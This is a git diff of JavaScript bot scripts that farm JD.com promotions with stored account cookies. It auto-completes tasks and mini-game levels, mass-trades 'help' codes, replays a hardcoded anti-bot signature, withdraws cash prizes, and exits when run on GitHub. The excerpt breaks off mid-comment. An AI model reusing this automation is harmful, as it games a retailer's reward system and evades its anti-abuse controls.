`累计获得${$.totalBeanNum}京豆,${$.totalNum}金币\n可兑换${$.totalNum / 10000}元无门槛红包\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现` + if (parseInt($.totalBeanNum) - $.nowBean > 0) { + //IOS运行获得京豆大于0通知 + $.msg($.name, '', `京东账号${$.index} ${$.nickName}\n${message}`); + } else { + $.log(message) + } + // 云端大于10元无门槛红包时进行通知推送 + // if ($.isNode() && $.totalNum >= 1000000) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n`,) + allMessage += `京东账号${$.index} ${$.nickName}\n当前金币:${$.totalNum}个\n可兑换无门槛红包:${parseInt($.totalNum) / 10000}元\n兑换入口:京东赚赚微信小程序->赚好礼->金币提现${$.index !== cookiesArr.length ? '\n\n' : ''}`; + resolve(); + }) +} + +function getUserInfo() { + return new Promise(resolve => { + $.get(taskUrl("interactIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // if (data.data.shareTaskRes) { + // console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的${$.name}好友互助码】${data.data.shareTaskRes.itemId}\n`); + // } else { + // console.log(`\n\n已满5人助力或助力功能已下线,故暂时无${$.name}好友助力码\n\n`) + // } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getTaskList(flag = false) { + return new Promise(resolve => { + $.get(taskUrl("interactTaskIndex"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.totalNum = data.data.totalNum + $.taskList = data?.data?.taskDetailResList ?? [] + if (data.data.signTaskRes) { + $.taskList.push(data.data.signTaskRes) + } + $.totalBeanNum = data.data.totalBeanNum + if (flag && $.taskList.filter(item => !!item && item['taskId'] === 3) && $.taskList.filter(item => !!item && item['taskId'] === 3).length) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.taskList.filter(item => !!item && item['taskId'] === 3)[0]['itemId']}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 完成 +function doTask(body, func = "doInteractTask") { + // console.log(taskUrl("doInteractTask", body)) + return new Promise(resolve => { + $.get(taskUrl(func, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + // console.log(data) + if (func === "doInteractTask") { + if (data.subCode === "S000") { + console.log(`任务完成,获得 ${data.data.taskDetailResList[0].incomeAmountConf} 金币,${data.data.taskDetailResList[0].beanNum} 京豆`) + $.bean += parseInt(data.data.taskDetailResList[0].beanNum) + } else { + console.log(`任务失败,错误信息:${data.message}`) + } + } else { + console.log(`${data.data.helpResDesc}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function helpFriends() { + for (let code of $.newShareCodes) { + if (!code) continue + await doTask({"itemId": code, "taskId": "3", "mpVersion": "3.4.0"}, "doHelpTask") + } +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdzz/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDZZ_SHARECODES) { + if (process.env.JDZZ_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDZZ_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDZZ_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskPostUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: body, + headers: { + "Cookie": cookie, + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jfcz.js b/jd_jfcz.js new file mode 100644 index 0000000..f1d2d5e --- /dev/null +++ b/jd_jfcz.js @@ -0,0 +1,391 @@ +/* +见缝插针 +活动地址: 京东极速版-百元生活费-玩游戏现金可提现 +活动时间: +更新时间:2021-11-30 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#见缝插针 +15 10 * * * https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js, tag=见缝插针, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +=================================Loon=================================== +[Script] +cron "15 10 * * *" script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js,tag=见缝插针 +===================================Surge================================ +见缝插针 = type=cron,cronexp="15 10 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js +====================================小火箭============================= +见缝插针 = type=cron,script-path=https://raw.githubusercontent.com/jiulan/platypus/main/scripts/jd_jfcz.js, cronexpr="15 10 * * *", timeout=3600, enable=true + */ +const $ = new Env('见缝插针'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = []; +let linkId = 'DYWV0DabsUxdj2FEBIkurg'; +let stop = false; +let needleLevel = 1; +let totalLevel = 400; +let allMessage = ''; +$.cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + totalLevel = 400 + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.hotFlag = false; //是否火爆 + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + stop = false + //获取下关等级 + await getNeedleLevelInfo(); + + console.log('当前关卡: ',needleLevel+"/"+totalLevel) + await $.wait(500); + for (let i = needleLevel; i <= totalLevel; i++) { + if (stop){ + console.log('关卡异常下个') + break + } + await getNeedleLevelInfo(needleLevel); + console.log('当前关卡: ',needleLevel+"/"+totalLevel) + if (stop){ + console.log('关卡异常下个') + break + } + await saveNeedleLevelInfo(needleLevel); + await $.wait(3000); + } + await needleMyPrize() + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`,{ url: 'https://t.me/joinchat/DrHGFt-CvcE2ZmU1' }) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: $.cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +/** + * 获取奖励列表 + * @returns {Promise} + */ +function needleMyPrize() { + return new Promise(async resolve => { + let body = {"linkId":linkId,"pageNum":1,"pageSize":30}; + + const options = { + url: `https://api.m.jd.com/?functionId=needleMyPrize&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Origin': 'https://joypark.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://joypark.jd.com/?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + for(let item of data.data.items.filter(vo => vo.needleMyPrizeItemVO.prizeType===4)){ + if(item.needleMyPrizeItemVO.prizeStatus===0 && item.status===1){ + await $.wait(500); + console.log(`提现${item.needleMyPrizeItemVO.prizeValue}微信现金`) + await apCashWithDraw(item.needleMyPrizeItemVO.id,item.needleMyPrizeItemVO.poolBaseId,item.needleMyPrizeItemVO.prizeGroupId,item.needleMyPrizeItemVO.prizeBaseId) + } + } + } else { + console.log(`提现异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + console.log(`logErr`,JSON.stringify(data)) + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 获取下关等级 + * @returns {Promise} + */ +function getNeedleLevelInfo(currentLevel) { + return new Promise(async resolve => { + let body = {"linkId":linkId}; + if (currentLevel !== undefined){ + body = {"linkId":linkId,"currentLevel":currentLevel}; + } + const options = { + url: `https://api.m.jd.com/?functionId=getNeedleLevelInfo&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Origin': 'https://h5platform.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://h5platform.jd.com/swm-static/jfcz/index.html?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + stop = true + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.currentLevel != data.data.totalLevel){ + needleLevel = data.data.needleConfig.level + totalLevel = data.data.totalLevel + }else { + stop = true + console.log(`关卡已全部通过`) + } + } else { + stop = true + console.log(`获取下关等级异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + stop = true + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 通关 + * @returns {Promise} + */ +function saveNeedleLevelInfo(currentLevel) { + return new Promise(async resolve => { + let body = {"currentLevel":currentLevel,"linkId":linkId}; + + const options = { + url: `https://api.m.jd.com/?functionId=saveNeedleLevelInfo&body=${JSON.stringify(body)}&_t=${+new Date()}&appid=activities_platform&client=H5&clientVersion=1.0.0&h5st=20220106101759841%3B4377072519655308%3Bf1658%3Btk02waf0d1c2318njnCBM9qYgO8%2F%2Ftqq%2Fe1asBWVmidYfLpZ3kFd0rLsZOspq2aBxoz%2FBvATLVmEkPLX5U%2BFgNVmOc8E%3B22da3eb0d3c191a89ff16b5f051efdba2d0f013437857d994912faf498906d70%3B3.0%3B1641435479841`, + headers: { + 'Origin': 'https://h5platform.jd.com', + 'Cookie': $.cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json, text/plain, */*`, + 'Host': `api.m.jd.com`, + 'X-Requested-With': `com.jingdong.app.mall`, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-CN,zh;q=0.9,en-CN;q=0.8,en;q=0.7,zh-TW;q=0.6,en-US;q=0.5`, + 'Referer': `https://h5platform.jd.com/swm-static/jfcz/index.html?activityId=${linkId}&channel=wlfc&sid=a05ade6f8abfce24dbbc74fw&un_area=2`, + 'Sec-Fetch-Site': `same-site`, + 'Content-Type': 'application/x-www-form-urlencoded' + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + stop = true + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + console.log(`关卡[${currentLevel}]通关成功\n`); + } else { + stop = true + console.log(`通关异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + stop = true + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +/** + * 提现 + * @param id + * @param poolBaseId + * @param prizeGroupId + * @param 